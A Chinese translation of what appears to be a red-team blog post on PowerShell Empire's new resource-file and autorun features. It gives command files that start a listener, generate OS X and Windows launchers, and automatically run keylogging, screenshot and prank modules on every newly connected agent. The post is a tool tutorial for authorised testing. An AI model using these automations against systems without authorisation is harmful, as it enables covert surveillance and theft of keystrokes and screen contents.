Empire资源文件与自动运行功能详解

本文介绍了PowerShell Empire新增的资源文件与自动运行功能,通过资源文件批量执行命令实现监听器自动化配置,并利用autorun功能在新代理连接时自动执行指定任务,显著提升红队操作效率。

Empire资源文件与自动运行

注意: 本博文中引用的技术和工具可能已过时,不适用于当前环境。但本文仍可作为学习机会,并可能集成到现代工具和技术中。

我已为PowerShell Empire添加了资源文件和自动运行功能。Empire现在能够通过资源文件一次性运行多个命令,可用于自动化监听器启动和其他任务。此外,通过新的autorun功能,您可以为任何新连接的代理指定自动运行的多个命令。

以下资源文件示例包含用于启动名为http443的监听器(端口443)的Empire命令。文件名为http443.rc,位于根目录:

1
2
3
4
5
6
7
listeners
uselistener http
set Name http443
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0);
set Host 192.168.0.124
set Port 443
execute

在Empire中一次性运行所有这些命令,只需使用新增的“resource”命令,如下所示:

![运行resource命令示例]

哇,太简单了!一个命令就完成了所有自定义设置的启动!

另一个资源文件示例用于为新监听器生成OS X和Windows启动命令:

1
2
3
4
5
6
7
8
listeners
usestager osx/launcher
set Listener http443
execute
back
usestager multi/launcher
set Listener http443
execute

上图显示了运行launchers.rc资源文件的输出。底部显示了Python启动器的开头(echo “import sys…")。为简洁起见,未显示PowerShell单行命令的输出。

现在看看添加到代理菜单的“autorun”命令。通过autorun命令,您可以指定一个资源文件,在新代理连接到监听器时自动执行。设置autorun时,需指定命令应在哪种代理语言上运行(如Python或PowerShell)。假设我们在资源文件/root/autorun-py.rc中有以下内容:

1
2
3
usemodule trollsploit/osx/say
set Text Supercalifragilisticexpialidocious
execute

此文件旨在在Python代理(OS X)上执行,并使用计算机文本转语音功能说出“Supercalifragilisticexpialidocious”。

接下来,我们有一个资源文件,指定了在任何PowerShell代理连接时运行的三个模块(/root/autorun-ps.rc):

1
2
3
4
5
6
7
8
9
usemodule collection/keylogger
execute
back
usemodule collection/screenshot
execute
back
usemodule trollsploit/voicetroll
set VoiceText Booya
execute

上述资源文件包含启动键盘记录、截屏和说出“Booya”的命令。以下命令将为任何Python和PowerShell代理设置autorun。

要查看为每种语言设置的命令,请使用“autorun show”命令,可选择指定语言。

好了,现在我们已经告诉Empire在新Python代理连接时自动执行autorun-py命令,并在新PowerShell代理连接时运行autorun-ps命令。要清除autorun设置,请使用“autorun clear”命令。下面的第一个命令仅清除Python autorun命令,而第二个命令清除所有语言的autorun命令。

我们已经演示了很多很酷的功能,但让我们将所有功能整合到一个资源文件中(/root/doitall.rc):

1
2
3
4
5
6
7
8
# Start my port 80 http listener
resource /root/http80.rc
# Start my port 443 http listener
resource /root/http443.rc
# set my autorun scripts
resource /root/autoruns.rc
# return to the main menu
main

此资源文件调用其他资源文件,如本文开头演示的http443.rc文件。它还启动端口80上的类似监听器,并使用下面显示的autoruns.rc文件设置我们的autoruns。

1
2
3
agents
autorun /root/autorun-py.rc python
autorun /root/autorun-ps.rc powershell

请注意,在doitall.rc文件中包含了描述性注释。任何以#开头的行都被视为注释,Empire会忽略。

我们可以在Empire内部使用resource命令运行doitall.rc文件,也可以在启动Empire时通过命令行使用“–resource”参数指定。

太棒了,我们用一个命令就启动了具有自定义设置的监听器并设置了autoruns!非常棒!以下是本文讨论的所有内容的视频演练。

要使用此新功能,请从https://github.com/EmpireProject/Empire获取Empire代码。在这些功能合并到发布版或Master分支之前,您必须检出dev分支才能使用这些功能。希望您像我一样喜欢这个新功能,它 definitely 消除了使用Empire时的一大痛点,并为高度自动化铺平了道路。


*尽管Carrie不再为BHIS工作,但她仍然是我们的好朋友和忠诚的客座撰稿人!您可以在Twitter上关注她。

您可以从Carrie的课程中学到更多! 在这里查看它们: 攻击模拟工具:Atomic Red Team、CALDERA等 PowerShell for InfoSec 提供实时/虚拟和点播课程!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计